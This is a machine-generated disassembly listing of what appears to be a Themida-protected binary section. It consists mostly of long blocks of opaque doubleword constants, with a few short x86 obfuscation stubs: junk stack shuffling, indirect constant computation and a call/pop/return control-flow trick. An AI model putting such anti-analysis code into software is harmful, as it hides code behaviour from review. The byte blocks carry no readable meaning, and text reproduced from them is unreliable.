dd 0A8A912Dh, 0ED7ACE61h, 61E120A8h, 0B80A8A91h, 0C18FBD4Eh
dd 695AAD36h, 0D8h, 0E06CBDCDh, 77FADCC3h, 7E975C22h, 86D3F776h
dd 0C796BE0Bh, 34162746h, 260CABA1h, 0B332BA94h, 0B10E3E8Fh
dd 0C4634086h, 57EA542Dh, 0A23294F5h, 0BB2A28B0h, 109DEE2Ah
dd 0F9D973C6h, 77C686D7h, 79563039h, 8EF30104h, 1BBBDA16h
dd 0E3C0C61Bh, 75498F72h, 86256810h, 0B3857EA9h, 7B764B7Bh
dd 82D25F71h, 0E2AFFE24h, 0EB9EFF51h, 79FAFD2Fh, 0D484C168h
dd 5200000Bh, 4E745204h, 4E7452FCh, 507250FAh, 4F7151FFh
dd 41745202h, 24307DEEh, 3E14A486h, 2325BAA0h, 400C9D83h
dd 7765962h, 16B6758Bh, 0C2213D54h, 9E0776DDh, 909B6065h
dd 0D55D42A9h, 0B81243C6h, 81109DBEh, 86567D1Ch, 11308A48h
dd 0A9381AA2h, 32230CABh, 59F8CE41h, 0E6CC0AD2h, 7FD9F953h
dd 0DB0ABEA3h, 109DB57Fh, 0A0B20248h, 70117091h, 98232253h
dd 0CBF4168Eh, 0D1C03454h, 0D96809E8h, 8A6D2AA8h, 7405810Ah
dd 1571E4C3h, 0DE0A8A6Dh, 0EFAD35BFh, 575AAD52h, 109h
dd 5FF14268h, 9B458F0Eh, 51E06CBDh, 94B6E06Dh, 0DB3A0B41h
dd 9DB530AAh, 7CD26410h, 0C09FACEDh, 9DB4D14Dh, 1A7B9A10h
dd 547B5C7Bh, 0E675F09Bh, 1975E428h, 0E2109DDDh, 8DCA19A3h
dd 87D17A5h, 109DDC8Eh, 6573657h, 1FCE3D87h, 0BB109DD9h
dd 95F1642Ah, 5E109DD7h, 5F805E3Fh, 0E14E1F78h, 40885C52h
dd 11CBBB0Eh, 77F5FB4Fh, 96B584E5h, 4EA1BEB1h, 4993BB37h
dd 3592F4EDh, 8F60BDC0h, 58779616h, 4D8C0677h, 90C50A8Bh
dd 0A8B4E36h, 4CD19EFFh, 0F5A5684h, 11255877h, 0A1075ACh
dd 0A73E98CDh, 86070475h, 53E2C8E7h, 9B84A101h, 7001B817h
dd 7C5E66E8h, 52F267EDh, 7779FA4Eh, 0A7195B0h, 29B50000h
dd 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h, 8DA29131h
dd 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah, 68E2133Ch
dd 3116B677h, 70BD46F8h, 0C6E9C6E4h, 9DB53B97h, 37810410h
dd 2A88C415h, 0E06CBD90h, 70DC6D51h, 7B0B5652h, 0A3E4295Ch
dd 1A3D168Eh, 8A9D6FEBh, 0B4D5380Ah, 0C681A6A5h, 8D9D561Eh
dd 754E9B63h, 85E46EE6h, 0A74DCC3Bh, 6AA40A8Ah, 14EDABD1h
dd 0CB555AADh, 66000006h, 4696EF44h, 0BDDC3D0Ch, 0BEA3A933h
dd 0C998B405h, 0AD8A2948h, 0D11B3785h, 8EA1D732h, 0EC7DA016h
dd 8AA03D9Dh, 81FA940Ah, 0AD0D9D5Bh, 698455Ah, 0A3190000h
dd 7AEBC8BEh, 168EA363h, 440E9EA4h, 9E9CF667h, 20650A8Ah
dd 181F041h, 580A8A9Fh, 0A16F9D2Eh, 95AAD0Ch, 66Eh, 0D5DFB92Dh
dd 0ECF460EDh, 0CEED99D0h, 0A1345DECh, 1A7BCAABh, 1626FEB5h
dd 0E7F184E5h, 71FA7BEAh, 8A0B168Fh, 584DE469h, 4A9F9676h
dd 2DBB9F3Ch, 0EBF51425h, 368A7FEEh, 2838467h, 202C7DA5h
dd 79E8F011h, 4360263Bh, 62EC3E64h, 0DB2AB2D3h, 7E540E26h
dd 262EBB9Fh, 3897F617h, 0AEA63317h, 64767E9Fh, 755B7BD1h
dd 55F568E4h, 66E7D55Bh, 91D8AC7h, 0BD090000h, 0C7173999h
dd 0AF012787h, 0C6153B9Bh, 0B7062C8Ah, 210E3D9Dh, 0F7D77DCCh
dd 0EFCF83D1h, 0F4D276C9h, 0F1D17BCEh, 1C76E7E8h, 0E516B679h
dd 6CBD92ACh, 4D7251E0h, 4E8AD20h, 0B602CA31h, 89FCDBABh
dd 16857BFFh, 0D201A1E4h, 0A8565A4h, 2537543h, 332C6C4Ah
dd 76173D8Ch, 6EE27159h, 0E56DFBDFh, 8C543554h, 64CC1E4Fh
dd 3D850A85h, 320362EEh, 0B4A02D15h, 3E12A1A5h, 458FEE2Fh
dd 0F2C4C213h, 838C2AF8h, 0D362EA7Bh, 14B2D3B2h, 84FE71E1h
dd 0D5AD920Ah, 0ECC53BDCh, 3689CB15h, 3B8EB412h, 51B14011h
dd 8EE94A39h, 0FFE08704h, 85B9148Eh, 30B8DD0Ah, 0E1C18B1Eh
dd 8FDE6EBFh, 85A8A0FEh, 0C78DDC0Ah, 4B015476h, 0D13D5FAh
dd 248CBE09h, 8B7A0F83h, 943EBB35h, 86AC0B41h, 0B42E5F37h
dd 7D0A8574h, 0A9E87918h, 2816311Fh, 0BC000001h, 96A5DDC2h
dd 0C28A106Bh, 0C785D8FAh, 8BFF5476h, 9C1F64A4h, 8AFB50CBh
dd 109E8510h, 84D5B4D9h, 9E8499F5h, 80F5D210h, 109E8506h
dd 45694ECFh, 145CC396h, 0D164767Eh, 93CEEA7Bh, 17A1D4F3h
dd 0FC1685D4h, 1F10E499h, 9E4D800Bh, 7DAC3h, 58FE4C00h
dd 4806587Ah, 56F4486Ah, 4F015278h, 58FC496Fh, 87E44B7Ah
dd 96BC1A3Ah, 8CAE0C46h, 8FB11137h, 0A3B00E3Eh, 79CD49BCh
dd 839616B6h, 1D6CBDDFh, 1273C28Eh, 0DA6E5473h, 0FEA0E170h
dd 7495A4AEh, 8CD9FD6Ch, 73C8EAC8h, 82D3F5D5h, 77C6ECCAh
dd 0FB4A8CDDh, 0B4F06A9Bh, 54B9109Dh, 0E170E272h, 8A70C1A0h
dd 79D5654Dh, 0E51FA9E8h, 450F9E54h, 0EA0FCD65h, 7B7A341h
dd 8B000000h, 8CC4h, 6CBD6A00h, 0A22051E0h, 0EC109DA4h
dd 7C5E0982h, 7A5C64EAh, 644665E7h, 66747CD2h, 859EF44h
dd 0CC1EE4CBh, 0D6630CF6h, 0AF1E7F0Eh, 3A54109Dh, 0A53416C1h
dd 0B9B99EAFh, 80A45727h, 0DA6B4F2Eh, 1AA2E372h, 5A5A338h
dd 7CD60728h, 45109CC5h, 0BD5EF8C0h, 508FDE6Ah, 0B4A4FE6Fh
dd 286D109Dh, 2F19AEA0h, 61DA781Eh, 8D2A1EB1h, 0B4DF3BAAh
dd 65A8109Dh, 2B0E7D5Bh, 0F2109DBCh, 0BE11995Ah, 0FEA6415Ch
dd 0C415FFFFh, 3A6h, 0E06CBD6Ah, 1571E4C3h, 0DE109DB5h
dd 0B5128C01h, 0BADB109Dh, 235211DBh, 109DB4B3h, 8517409Dh
dd 4B1C8780h, 0F794FEC6h, 7452FA4Bh, 7251FB4Eh, 0C087584Dh
dd 559FE727h, 0AEF76796h, 0C213109Eh, 89D878C7h, 6D4A6908h
dd 9EAE9EF8h, 9E266710h, 8EF8F14Fh, 654BC31h, 86A91686h
dd 85EEFB57h, 7741C40Ah, 0ECB6ABEAh, 15800B50h, 6597B56h
dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh
dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h
dd 50CA3B24h, 1916B67Ch, 0E5C25E00h, 9DB51670h, 36BEDF10h
dd 0AABB9124h, 9C3B19A8h, 162721B6h, 0C9EFEDF7h, 0D3F7D478h
dd 5DECCE86h, 0C9EFEDF7h, 4589D87Ch, 50D5CF8h, 0F544EE8Bh
dd 15E37F5Fh, 0F7A341E6h, 0D10684D3h, 3E2A3761h, 940BD5B4h
dd 2BAh, 83DDC2AAh, 0B66D8988h, 57F487ABh, 162C970h, 1E647BB7h
dd 54EBE4Fh, 3DC9EE74h, 5DD0A0CCh, 95B2A250h, 0AF67E660h
dd 3DB0AF11h, 11AF67E1h, 0C20A6BAAh, 2815Bh, 7567C00h
dd 78193B8Ah, 0BCA3E670h, 42BEE9C6h, 3BCBD6F6h, 2B4A0054h
dd 0AF93B4A1h, 0E0213020h, 0DA2DA9D8h, 4166109Dh, 0B181DA93h
dd 4E9B252Ah, 7D0F7ECFh, 0F8EE73ECh, 1CFFD8Eh
dd 0A9A25045h, 23Eh, 0C6BCA38Dh, 0B51E74E9h, 0BEDF109Dh
dd 4AEE5EAFh, 0FB4EEE73h, 6CBE0051h, 0DD6BC0E2h, 0A516588Ch
dd 6CDD29B0h, 94997BBh, 0E75917BFh, 0B01A250h, 55000002h
dd 57F7DDC2h, 9343471Dh, 0CDF2ED49h, 14B3D27Eh, 9DFF6DE1h
dd 0C8E72610h, 0B80052E2h, 9568D829h, 0A7E3EE73h, 0AA2AEA12h
dd 0E3CCA250h, 9A797A9Fh, 2178407Ch, 1D2h, 4CE0C235h, 97A6AE3Bh
dd 4461776h, 0F1FB9AB0h, 0E1FE4EDFh, 92236AF9h, 0B6AABBAh
dd 8D2022C1h, 543720BFh, 8D9B8FBh, 9D99B701h, 3A654244h
dd 523661CAh, 67747CC8h, 7DCF6248h, 66D91473h, 0F0D2168Fh
dd 3A802A5Eh, 8957598Ch, 0B03859E8h, 65E11433h, 990A8B2Fh
dd 0D538074Bh, 0F654A5B4h, 4D0A8B2Eh, 62BC310Eh, 2B0A8B2Fh
dd 0D9B89827h, 61B1A3F2h, 0BF09B9D5h, 0C888B445h, 705AAC01h
dd 52h, 5BEA3C6h, 57DAD1B3h, 0B1D51D2Ah, 2D12B1D0h, 800D2507h
dd 59864E67h, 8F8D2524h, 0B3416616h, 7AA3613Fh, 60ED9037h
dd 36089C1Fh, 0EF1E41AEh, 0A8AC973h, 0A9B8D93Ch, 8AC8FA58h
dd 44B5510Ah, 0ACFE5818h, 0EA005Ah, 0EFD30000h, 2061F060h
dd 6CBD3E98h, 0B557B322h, 0FD20109Dh, 3C89CD9Ch, 250A4918h
dd 0D17A1BA2h, 0D99E0527h, 27322F4Bh, 9F3224ACh, 98BF9CADh
dd 0A19EBE7Eh, 66E87A03h, 0DD7B6D7h, 0BE0F7ACBh, 0DD1C3BC8h
dd 0A8C921FDh, 92C5EAC9h, 5FC08A98h, 598CCA12h, 109E2DC8h
dd 97EE4169h, 5C640545h, 36A7E77Ah, 109E2CDCh, 124360A5h
dd 109E2CB8h, 5D7D1C81h, 617E0861h, 888A982Ch, 8A1D0516h
dd 666EAFBEh, 3278409h, 1F409EB6h, 0B7DEAC3Bh, 0ACBB4D06h
dd 5C7E4627h, 0FA54890Dh, 0C30A87E4h, 7E2E2342h, 93800D46h
dd 37DF9D4h, 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh
dd 17A68C2Ah, 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h
dd 5171DB6Eh, 0BC164788h, 8516B67Dh, 70BD320Ch, 51E4C6E4h
dd 0D8FADBFBh, 55FFC987h, 51E06CBDh, 5270DC6Dh, 9DB4A223h
dd 0E99DC410h, 0AC129BCAh, 0D233168Eh, 6CBD56F4h, 0DC6D51E0h
dd 0B565270h, 0E2765C7Bh, 30B8D968h, 0A377B223h, 9D00168Eh
dd 9EDD3DCCh, 0DA340A8Ah, 0C7D3B61h, 2FE55AADh, 79000000h
dd 0EBC8BEA3h, 8E989B7Ah, 18296C16h, 8A8969E9h, 0AF93C00Ah
dd 69A32D1Dh, 3EECACD0h, 0D4545AADh, 67000000h, 0D5CF443h
dd 0B4962A8Ch, 6CBDB22Ch, 4D7251E0h, 88371DD1h, 488A52EFh
dd 0C80A5BF9h, 4486D775h, 87B5BF1h, 109E2159h, 0CBE864F5h
dd 0F13D17E4h, 0D51FF1ABh, 3184A687h, 1CB4A1Bh, 7FCE7ECFh
dd 815E2841h, 8EB4A10Ch, 0ECCB4A16h, 0B2409ACBh, 84090A8Ah
dd 0C7221E3Ch, 51ED20BFh, 5A10751Bh, 27B69C3Bh, 1EAB8D2Dh
dd 6A534336h, 0D59479FAh, 25EF8h, 0DC7AC800h, 0C48ADCFEh
dd 0DA70C4E6h, 0CB85D6FCh, 0DC78C5EBh, 0B60CFFEh, 123896BEh
dd 103290C2h, 0B2D8DBBh, 273492BAh, 8059B528h, 0EF2216B6h
dd 1E70BD53h, 942728F0h, 3F64A5B4h, 7655DF7Dh, 9DF18B07h
dd 50315410h, 4FFD5072h, 0FF7E4770h, 4B1A3685h, 0BE25E5CAh
dd 60014BDEh, 0A3E07A58h, 7AEBC8BEh, 168E989Bh, 2966F6DCh
dd 67A6B79Bh, 2931BE06h, 62A3B296h, 0F5EEC40h, 2F5EEF8Eh
dd 0A8A88AFh, 9D2D58EBh, 61A0B1h, 0C8BA0D31h, 0AEF5BD13h
dd 0FC4D2C55h, 5342B7DBh, 0D7654D8Ah, 442523B8h, 26CDF25Fh
dd 6B755069h, 0DBFFA821h, 4E70C189h, 850455FFh, 0B484DCE4h
dd 1C5AAD26h, 0DAh, 0EFD698BFh, 92A3A739h, 0D4A74C73h
dd 808A0479h, 32530A8Ah, 57B66C53h, 1BEDBF5Eh, 6CBD07D1h
dd 0E06D51E0h, 0C4E6E574h, 0A8BDA70h, 0B09243C2h, 9B2E109Dh
dd 9E2F11B1h, 48A19FAEh, 0A1BEA13Eh, 9DAFF26Ch, 925ABB10h
dd 8E80A6F3h, 0BA0B4F16h, 2342C392h, 655E8383h, 0EAE0B2D4h
dd 3CFD8E3Ch, 0EC8D0C5Dh, 0F1C39ECFh, 98C1074h, 5D3988AAh
dd 74EDAE28h, 77167704h, 0ADE47157h, 1E20311Dh, 0C1A0C18Bh
dd 0FA4FB08Ch, 134EDD79h, 10Bh, 2787CF1Bh, 3D9DB101h, 2181C91Bh
dd 2A0B0FFh, 0E3C39120h, 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh
dd 0BD103290h, 3D222F8Fh, 0B6814EC8h, 60021716h, 0C6E470BDh
dd 0DCFB51E4h, 0B5108AFBh, 0BC41109Dh, 85644CB4h, 18A0E572h
dd 6CBDA03Ah, 557251E0h, 9DB4A620h, 0A62E6F10h, 0D36821B4h
dd 98B71475h, 9DB4E965h, 0C28E1D10h, 0DBC44A75h, 0DFC1E750h
dd 0E82836BEh, 0CDBDBF01h, 2C7CD74Fh, 61A0B197h, 65426100h
dd 44B71342h, 5A80109Eh, 98F9480Ah, 2C50D2F9h, 0F2F3E4CCh
dd 0B52D9BEAh, 0FB1A1685h, 77D5686Ah, 6CE07157h, 0FAB684Fh
dd 9A932C6Dh, 9629352h, 8A33BB0Fh, 6EBF7308h, 87DA00DEh
dd 735774C5h, 0DE38ADE3h, 0A7E1370Eh, 16A30766h, 13A4B63Eh
dd 0B6382C3Dh, 4D3C8D45h, 902E4FFBh, 1BAA90AFh, 0ECE4839h
dd 7697E137h, 73D96C6Eh, 1EBE6B54h, 37CFA34Ah, 0C233EADh
dd 0BF000000h, 392CDDC2h, 6B9C8D4h, 0BD885ABEh, 7254E571h
dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
dd 2D112030h, 0BC9EAF9Bh, 2215242Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push 47DEh
mov [esp], edi
push 21FBh
mov [esp], ecx
push ecx
mov ecx, 73E07B0Dh
mov edi, 79F93B62h
add edi, 219C4080h
sub edi, ecx
sub edi, 219C4080h
pop ecx
push esp
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
pop dword ptr [ecx+8]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58442C
; ---------------------------------------------------------------------------
dd 0AC7B893Ch, 18CD8EB8h, 0FFC50306h, 0C51D1BE0h, 0FAAB0129h
dd 0D09F0313h, 7298FA1Dh, 49846357h, 568C0E07h, 0F89D3E3Fh
dd 1E3D03Dh, 4A90013h, 4B8BB270h, 73727D73h, 358C1C58h
dd 0DE7EA2Bh, 62B9C00h, 5495180Bh, 0B328A97Bh, 6267F35Fh
dd 0AC6D5F74h, 7B6D9B16h, 2CDE704h, 7C32BC78h, 0E516FB2Bh
dd 0AF8D8D21h, 6A0618CFh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 553AC351h, 0F1CA37D5h
dd 280C2241h, 0EE8h, 98D8EB00h, 0D12B9D27h, 6D87557Ch
dd 29EC09D9h, 1314BDBDh, 12E95F06h, 83000000h, 5DE0FB87h
dd 85689186h, 0DA7E90EDh, 9E8F6B4Ch, 0BD8D898Ah, 6A06131Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 3CB6C351h, 6C910249h, 0E8E6535Ch, 11h, 6CFA22EFh
dd 0D826DCFFh, 48E619CDh, 23118594h, 85C75F96h, 61318DDh
dd 6314h, 5BD9533h, 85C70613h, 6133055h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5D9203
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D9203 proc near ; CODE XREF: Themida_:005D91FBp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5D9203 endp
; ---------------------------------------------------------------------------
db 0EDh
dd 35B7EF97h, 95892953h, 6130F59h, 0FFD3B70Fh, 132331B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 19419603h, 0CAAA1B62h, 1D8995FFh, 6A0613h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0F96D2C3h, 6AF1BFh, 0DA995FFh, 0C08B0613h, 372D7EEBh
dd 2B665812h, 32094700h, 59F66EDEh, 2A3C6992h, 0DA9F3DF6h
dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0A25EBC9Ch, 38BB5662h
dd 6DD7FCCAh, 6AECED29h, 93D43DBDh, 0B70F9177h, 3A294055h
dd 2709821Bh, 38542EB4h, 1B81213Dh, 7FFFC583h, 5D5A3E38h
dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh, 50369DA8h
dd 89B17D99h, 0FC86FE46h, 80C6F273h, 0C9CCCEDBh, 36B25B43h
dd 64432DFh, 3DE9h, 7A746800h, 12h, 0C51C5700h, 6148434Ah
dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h
dd 0F4C7009Dh, 6063921Dh, 0DE19h, 3 dup(0)
dd 6EE90000h, 6800000Ah, 618D18Bh, 0FAB0DFE9h, 0D2EF68FFh
dd 0D5E90618h, 68FFFAB0h, 618D3D8h, 0FAB0CBE9h, 0D48768FFh
dd 0C1E90618h, 68FFFAB0h, 618D546h, 0FAB0B7E9h, 0D5EE68FFh
dd 0ADE90618h, 68FFFAB0h, 618D694h, 0FAB0A3E9h, 0D87168FFh
dd 99E90618h, 68FFFAB0h, 618D95Ch, 0FAB08FE9h, 144290FFh
dd 0C4294B6h, 12388CAEh, 133D8EB4h, 14408DB3h, 43A887B6h
dd 5A805EF6h, 486A480Ah, 537555F3h, 5F6C4A02h, 84910D80h
dd 475A16B6h, 0C8BEA31Bh, 65787AEBh, 0D6011685h, 420FB209h
dd 0CE3F9C63h, 0A857354h, 73F0F81Dh, 3C8DB512h, 0AA95B210h
dd 0BED67C2Ah, 8EC00872h, 0E440113Bh, 0BB2A89FDh, 106CFF98h
dd 66E2755Dh, 7EBA1449h, 283046Ch, 0CBE82DBAh, 0C53856E7h
dd 46C7F49h, 3492F312h, 0C091BB0Eh, 674B7D64h, 8A0475D5h
dd 53046C7Eh, 0C6DDD6Fh, 49714E6Dh, 820352F6h, 5F8ECB3Ah
dd 63470A5Dh, 0F6737DD5h, 0B0ECE297h, 6EFD73DEh, 8A473h
dd 5CFA4800h, 440A5C7Eh, 5AF04466h, 4B05567Ch, 5CF8456Bh
dd 8BE04F7Eh, 92B8163Eh, 90B21042h, 8BAD0D3Bh, 0A7B4123Ah
dd 85D935A8h, 6FA216B6h, 1D6CBDD3h, 1071C08Ch, 4BDEE071h
dd 7C65A101h, 3885AD0Ah, 4CC4D1Ch, 0A34BA6D7h, 0B1D4168Eh
dd 9EF151A0h, 9F2D0A8Ah, 9F0680F5h, 4ECF0A8Ah, 0AC3C1E2Fh
dd 9F1975E8h, 0A3E20A8Ah, 0FD8B73C2h, 0B650998Ch, 21B09245h
dd 6331A933h, 0CB5AAD0Ch, 64h, 0C8BEA36Fh, 989B7AEBh, 666C168Eh
dd 0B91677D1h, 0F598B196h, 0D3810B68h, 8A8128A2h, 0FACF10Ah
dd 8A8184DEh, 0C84D0Ah, 10456261h, 0A8A80B6h, 81247EEFh
dd 0A8ED0A8Ah, 2424B79Bh, 4B95F415h, 8A815EBCh, 0E059B50Ah
dd 0AD26FCBCh, 0D7645Ah, 58770000h, 8A74A925h, 0AC13720Ah
dd 0FC3D74D3h, 5802CAD2h, 51E06CBDh, 0E574E06Dh, 0B63650E1h
dd 80CC5DCEh, 0CD55FD1Bh, 28B99DACh, 0F2578624h, 3B109EAEh
dd 0A86DE91Ch, 0D736109Eh, 6D4A9BF0h, 9C2401B6h, 852527BAh
dd 2B3A12A3h, 15B2D40Dh, 7D7C8F2Ah, 23ADCD21h, 0BEC2C736h
dd 7A9B168Eh, 81055C5Ch, 0B3220522h, 0A8AAC57h, 94F3FD20h
dd 107515B1h, 86AC0B8Ah, 9BBD1D37h, 8B33404Eh, 213CA5E5h
dd 0E9E70D40h, 852479FAh, 74048h, 381EAC00h, 2826B89Ah
dd 3614A88Ah, 2F21B298h, 381CA98Fh, 6784AB9Ah, 765C7ADAh
dd 6C4E6CE6h, 6F5171D7h, 83506EDEh, 86AD295Ch, 237616B6h
dd 2670BD3Fh, 9DB55BB7h, 12C48C10h, 11C0C14Ch, 4A2C342h
dd 0E1C18B1Eh, 2BEA347h, 0A603B205h, 6A4928D5h, 0B9D8654Dh
dd 0F716272Bh, 0AEA43496h, 17767E9Fh, 168EDF36h, 3995C807h
dd 20A8ACFh, 2253E283h, 0A8ACEA4h, 6FFE4CE0h, 0E071D96Bh
dd 6F56F3DFh, 0E88F2C66h, 51E072C2h, 6030A830h, 0C85AACF0h
dd 94h, 0E06CBD6Eh, 74E06D51h, 0B83194E5h, 0E475109Dh
dd 0D5684A68h, 9FCAE677h, 4FE2C8E7h, 0CB0D6FDh, 0B7D41754h
dd 0D8BD302Dh, 0B1168E83h, 0DB6B4F6Ch, 2B6B6973h, 2735036h
dd 1074CEF0h, 2307A4E9h, 3A20BE96h, 8AB4A9ABh, 0B379FA1Bh
dd 657D9F4h, 49950000h, 3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh
dd 4392B816h, 0AD82B111h, 4363F140h, 2383CF5Dh, 409EAAFDh
dd 2585C71Ah, 48C2331Ch, 1116B688h, 70BDA698h, 75E0C7E4h
dd 0E8E7A713h, 0D1F7E5EFh, 54EECC80h, 51E06CBDh, 5270DC6Dh
dd 9DB4A323h, 4BBE410h, 6A9910CBh, 568BA731h, 1EAF9330h
dd 0F6FE1F2Eh, 476874E9h, 1A051686h, 55AB775Dh, 0AE3B851Bh
dd 0DB6A506Fh, 40626F79h, 597F5FEDh, 0D6F54408h, 0E1EB61F4h
dd 0A6378CD5h, 0C7E8C7A6h, 85F73C96h, 3880050Ah, 0C6163C1Bh
dd 48C5448Ch, 111076F2h, 2DAFD98Ch, 25C479F8h, 5A828h
dd 60F64400h, 80CE6042h, 9EAC0022h, 87C91A40h, 0A0B40127h
dd 0EF1C1302h, 0EED4F262h, 0F4D6F45Eh, 0E7C9E95Fh, 0BD8F656h
dd 893591C4h, 0ABFE16B6h, 0D2DDC2B7h, 0DFC3A1Bh, 81D406CEh
dd 7A5D7ACBh, 9E438F0Bh, 0FC51C010h, 676767C3h, 292BB5D8h
dd 0B87F698h, 0D4109E5Ah, 7981D0B1h, 75C87A0Fh, 9D5BF7D7h
dd 45A3414Fh, 7, 140C419h, 706A0000h, 109DB512h, 7A592D34h
dd 8564D00Bh, 33A28516h, 0A84E3D7h, 0F6737DA0h, 30173897h
dd 0D64289D2h, 0A9A53575h, 0B6187998h, 0FD1C2D27h, 0FC50E1F3h
dd 0E369FCDEh, 7B0B5652h, 4AAC295Ch, 10751076h, 0F786155Dh
dd 0BA975679h, 4E9h, 3F9FB703h, 2585C919h, 3999B103h, 2A88C817h
dd 3B9BB908h, 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h
dd 0F5DAE7C7h, 0B68A0680h, 0E85ACF16h, 51E06CBDh, 0E170DC6Dh
dd 681AAF19h, 0FB5777D5h, 0A341EA3Dh, 1DA5h, 0BF143600h
dd 0C2953F89h, 2696DEDDh, 0B22310F5h, 109E4558h, 539DFC21h
dd 8D08h, 0BEA3A600h, 787AEBC8h, 91168565h, 3A8BAF0Ch
dd 3B8EB412h, 0FDE44011h, 98BB2A89h, 0ED106C95h, 96270BA8h
dd 9F3218B6h, 97F658EAh, 77F6AC6h, 0F51835A8h, 3C610A5Ch
dd 0DE45F349h, 4C892073h, 441h, 97371FABh, 8D2D21B1h, 913119ABh
dd 923020AFh, 933321B0h, 0CF5E8FA0h, 0B5032585h, 0C81B3D9Dh
dd 0AD002280h, 2D323F9Fh, 0B68A5EB8h, 50F22716h, 4EE0C2h
dd 0B4D832A3h, 7CA1109Dh, 1156974h, 60420000h, 50B180CEh
dd 0BEA3CE88h, 0A4786802h, 8BEAAFECh, 52B5B92Ch, 4FCE1686h
dd 55F74A70h, 4A025375h, 0E2A4BDFBh, 826F90C5h, 41C4106Dh
dd 483D62h, 9E7E28D0h, 90210956h, 0A93C1EBCh, 4B9692A3h
dd 538E087Dh, 3657046Dh, 73577857h, 25646CE4h, 0A5E33E8h
dd 2D79EC31h, 4673DF84h, 39BAAA7h, 5510000h, 0FF4F7151h
dd 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h, 0BF1F3584h
dd 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h, 9D16B68Ah
dd 6CBDDA84h, 0DC6D51E0h, 0B4C743B2h, 0D90109Dh, 9B35DD6Ch
dd 6BE1741Eh, 0EA21EF4Bh, 0DFC3A341h, 0B8124351h, 81109DC0h
dd 0EFEC7D1Ch, 9DC1247Eh, 0C9A8ED10h, 4998FFh, 1C3B0000h
dd 9DC16DE9h, 0DB37A610h, 0A4109DC0h, 1CEDD261h, 177EE459h
dd 29B33D5Ch, 0EBC8BEA3h, 8EFBA77Ah, 57EAD016h, 1F7EEBF5h
dd 3E469AC0h, 0DED70441h, 2989E86Eh, 89D35BBAh, 646970Ah
dd 1C2E82A8h, 2EB104Dh, 0BDAE0000h, 6C49186Ah, 7D484DCBh
dd 0B8094D1Ch, 0E5183794h, 109DBD69h, 0CB09D332h, 69F854E5h
dd 5A78D465h, 6CC0035Eh, 0ED20BFDEh, 168EAB90h, 1465F419h
dd 0A8AA6B6h, 0E408810Dh, 5AAD1414h, 44BCh, 0E5C2A200h
dd 9DB51670h, 55F74A10h, 13D8706h, 0CC419EE8h, 168E98CDh
dd 0D24CC19Eh, 9B0A8A88h, 4503587Ah, 66E41524h, 0A20A8A89h
dd 0CDF14012h, 0D83D27Eh, 0F6FFE663h, 3FFD1F9Ch, 0A75AAD3Eh
dd 0E0h, 0E06CBDBBh, 0B1E06D51h, 513024h, 77C9DCC3h, 13EFB353h
dd 163687C9h, 9AB20347h, 87C3153Dh, 0ADBC9423h, 5976646Ch
dd 0AA245976h, 73109DE5h, 0E5E76312h, 0CE1B109Dh, 956B786h
dd 48CD3C84h, 91109DE9h, 27361AA9h, 69FCDEE6h, 4EDEC4E3h
dd 0CD43504h, 7BC9F1CEh, 0BD0786D7h, 33024A9Bh, 3D9AECF5h
dd 55AD351Ah, 1C540063h, 40678277h, 1CB6C13h, 8EFB1782h
dd 7D5DC016h, 815E2841h, 7561720Ch, 0BD1A7B10h, 0AF0C4895h
dd 0F5121288h, 34C5EA66h, 0C4A922Fh, 0C8BD9726h, 79FAA888h
dd 0BE03DE8Dh, 2E000001h
dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh
dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h
dd 16B68CE7h, 0BDC579B0h, 0E4C6E470h, 7DDBFB51h, 0EBC8BEA3h
dd 0BD575C7h, 15C6F1CEh, 0DEC5FB85h, 5D3CCB15h, 2E168ECAh
dd 0AF2F5EEFh, 0EB0A8AB9h, 6165F45Ch, 0BAEE7FD3h, 8B5243B8h
dd 92628AFFh, 3A5AACEFh, 0D4h, 0E06CBD20h, 1507251h, 42134190h
dd 381AA2C3h, 260CABA9h, 6607F393h, 85AD5101h, 0AC3455E4h
dd 5849CC3Dh, 3C8D109Eh, 3F8FB310h, 351DAB0Fh, 3A8BADABh
dd 1E044312h, 9DB1018Eh, 1D2C4DCCh, 0A1C8F4FCh, 0C6E9C6E5h
dd 9E513B97h, 37810410h, 8F225DC8h, 27870616h, 278402E7h
dd 757DDBB6h, 99EA410h, 59815E3Fh, 486A480Ch, 0B8265BF9h
dd 0E979FACAh, 0D30742h, 0CD190000h, 0B7072989h, 0BF113797h
